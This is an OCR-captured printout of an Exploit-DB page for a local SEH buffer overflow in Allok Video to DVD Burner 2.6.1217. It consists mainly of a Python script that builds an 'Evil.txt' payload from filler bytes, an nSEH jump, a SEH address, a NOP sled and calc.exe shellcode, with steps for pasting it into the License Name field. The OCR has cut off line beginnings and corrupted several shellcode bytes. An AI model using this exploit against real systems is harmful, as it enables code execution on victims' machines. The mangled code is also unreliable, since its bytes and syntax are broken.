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Allok Video to DVD Burner 2.6.1217 - Buffer
Overflow (SEH)

EDB-ID: CVE:

44518 N/A

EDB Verified: X

Author: Type:

T3JVIL LOCAL

Exploit: & _/ {}

Platform: Date:
WINDOWS 2018-04-24

Vulnerable App:

2/4


https://www.exploit-db.com/download/44518
https://www.exploit-db.com/download/44518
https://www.exploit-db.com/download/44518
https://www.exploit-db.com/download/44518
https://www.exploit-db.com/raw/44518
https://www.exploit-db.com/raw/44518
https://www.exploit-db.com/raw/44518
https://www.exploit-db.com/raw/44518
https://www.exploit-db.com/?author=9434
https://www.exploit-db.com/?type=local
https://www.exploit-db.com/apps/05823ecd365be9bd73552e5eed6edd7b-allok_dvdburner.exe
https://www.exploit-db.com/apps/05823ecd365be9bd73552e5eed6edd7b-allok_dvdburner.exe
https://www.exploit-db.com/apps/05823ecd365be9bd73552e5eed6edd7b-allok_dvdburner.exe
https://www.exploit-db.com/apps/05823ecd365be9bd73552e5eed6edd7b-allok_dvdburner.exe
https://www.exploit-db.com/?platform=windows
https://www.exploit-db.com/exploits/44516
https://www.exploit-db.com/exploits/44519
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/papers
https://www.exploit-db.com/shellcodes
https://www.exploit-db.com/search
https://www.exploit-db.com/searchsploit
https://www.exploit-db.com/submit
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www

4/30/26, 3:01 PM

%’ EXPLOIT DATABASE

EXPLOITS

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

https://www.exploit-db.com/exploits/44518

Allok Video to DVD Burner 2.6.1217 - Buffer Overflow (SEH) - Windows local Exploit

HHUHH AR
ploit Title: Buffer Overflow(SEH) on Allok Video to DVD Burner2.6.1217

Ex
Da
Ex
Ve
So
Ca
Co
Ve
Te
He
Me

HOH OH OH R OH OB R H B K

based-exploit-writing-tutorial-continued-just-another-example-part-3b/

HHUH AR S
prin
#1.
#2.
#3.
#4 .
fiel
#5.

impo

file
buff
junk
nseh
seh
nop

# Sh

buf =

buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
expl
fill
crus
prin
file
file

Tags: B

te: 23.04.2018

ploit Author:T3jv1l

ndor Homepage:http://www.alloksoft.com/
ftware: www.alloksoft.com/allok dvdburner.exe
tegory:Local

ntact:https://twitter.com/T3jv1l

rsion: Allok Video to DVD Burner 2.6.1217
sted on: Windows 7 SP1 x86
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Download and install the setup file
Run this exploit code via python 2.7
A file "Evil.txt" will be created

Copy the contents of the file (Evil.txt)and paste in the License Name

d
Click Register and BOMM !!!! "n"

rt struct

= open("Evil.txt","wb")

er = 4000

"A" * 780

"\x90\x90\xeb\x10"

= struct.pack("<L",0x10019A09)
= "\x90" * 20

ellcode Calc.exe

+="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
+="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
"\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xal"
+="\X5d\ X5\ xF2\x32\x13\xd2\ x5\ xf3\x9e\x04\x38\x03\x2f\x89\x96"
+="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
+="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
+="\x44\x61\xF6\x71\x0e\ x99\ x7c\xdd\xaf\x98\x51\x3d\ x93\ xd3\xde"
+="\XT6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
+="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
+="\XxT5\x42\x74\xbc\xFO\x2 F\xF2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
"\x76\xa8\x78\xTd\x52\xT1\xdb\x9c\xc3\x5f\x8d\xal\x14\x07\x72"
+="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
+="\Xx11\xfd\xc8\x53\x65\x02\x1b\x10\ x99\ x48\x06\x30\x32\x15\xd2"
+="\x01\x5f\xab6\x08\x45\x66\x25\xb9\x35\x9d\ x35\xc8\x30\xd9\xf1"
+="\X20\x48\x72\x94\ x46\x f F\Xx73\xbd\x24\x9e\ xe7\x5d\ x85\x05\x80"
+="\xc4\xd9"

oit junk + nseh + seh + nop + buf

ers buffer - len(exploit)

h = exploit + "T" * fillers

t "[+] Crush Me"

.write(crush)

.close()
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